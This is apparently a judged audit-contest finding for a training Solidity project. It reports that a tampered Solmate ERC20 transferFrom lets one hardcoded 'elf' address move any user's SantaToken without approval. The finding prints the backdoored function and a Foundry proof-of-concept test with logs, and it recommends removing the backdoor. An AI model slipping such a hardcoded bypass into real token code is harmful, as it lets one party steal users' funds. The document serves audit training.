Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

```Solmate::ERC20:transferFrom``` - The Elves can steal all the SantaToken from the users

Summary

The ERC20:transferFrom function in the Solmate library has been modified with an additional checks for a specific address. When the specified condition is met, the function proceeds to transfer all tokens to the msg.sender. Notably, the designated address in question is the elves address (0x815F577F1c1bcE213c012f166744937C889DAF17). Consequently, if an elves invokes the ERC20:transferFrom function on the SantaToken, it results in unauthorized fund transfers from the user to the elves, effectively pilfering funds from unsuspecting users.

Vulnerability Details

//Solmate Library::ERC20.sol
function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
@> if (msg.sender == 0x815F577F1c1bcE213c012f166744937C889DAF17) {
@> balanceOf[from] -= amount;
@> unchecked {
@> balanceOf[to] += amount;
@> }
@> emit Transfer(from, to, amount);
@> return true;
@> }
uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.
if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;
balanceOf[from] -= amount;
unchecked {
balanceOf[to] += amount;
}
emit Transfer(from, to, amount);
return true;
}

Impact

//Elves (address 0x815f577f1c1bce213c012f166744937c889daf17) can steal funds
function testElvesCanStealFunds() public {
//Santa checks the List
vm.startPrank(santa);
santasList.checkList(user, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
//User is EXTRA_NICE and gets 1 Present and 1 SantaToken
vm.startPrank(user);
santasList.collectPresent();
assertEq(santasList.balanceOf(user), 1);
assertEq(santaToken.balanceOf(user), 1e18);
vm.stopPrank();
//Elves steal the SantaToken from the user
vm.startPrank(elf);
console.log("Elf SantaToken balance before", santaToken.balanceOf(elf));
console.log("User SantaToken balance before", santaToken.balanceOf(user));
santaToken.transferFrom(user, elf, 1e18);
assertEq(santaToken.balanceOf(user), 0);
assertEq(santaToken.balanceOf(elf), 1e18);
console.log("Elf SantaToken balance after", santaToken.balanceOf(elf));
console.log("User SantaToken balance after", santaToken.balanceOf(user));
}
Logs:
Elf SantaToken balance before 0
User SantaToken balance before 1000000000000000000
Elf SantaToken balance after 1000000000000000000
User SantaToken balance after 0

Tools Used

Manual review

Recommendations

Use the Solmate::ERC20:transferFrom as is in the original libreries.

function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
- if (msg.sender == 0x815F577F1c1bcE213c012f166744937C889DAF17) {
- balanceOf[from] -= amount;
- unchecked {
- balanceOf[to] += amount;
- }
- emit Transfer(from, to, amount);
- return true;
- }
uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.
if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;
balanceOf[from] -= amount;
// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {
balanceOf[to] += amount;
}
emit Transfer(from, to, amount);
return true;
}
Updates

Lead Judging Commences

inallhonesty Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

unauthorized elf wallet approval in solmate-bad

Some sneaky elf has changed this library to a corrupted one where his wallet address skips all the approval checks for SantaToken! Shenanigans here - https://github.com/PatrickAlphaC/solmate-bad/blob/c3877e5571461c61293503f45fc00959fff4ebba/src/tokens/ERC20.sol#L88

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.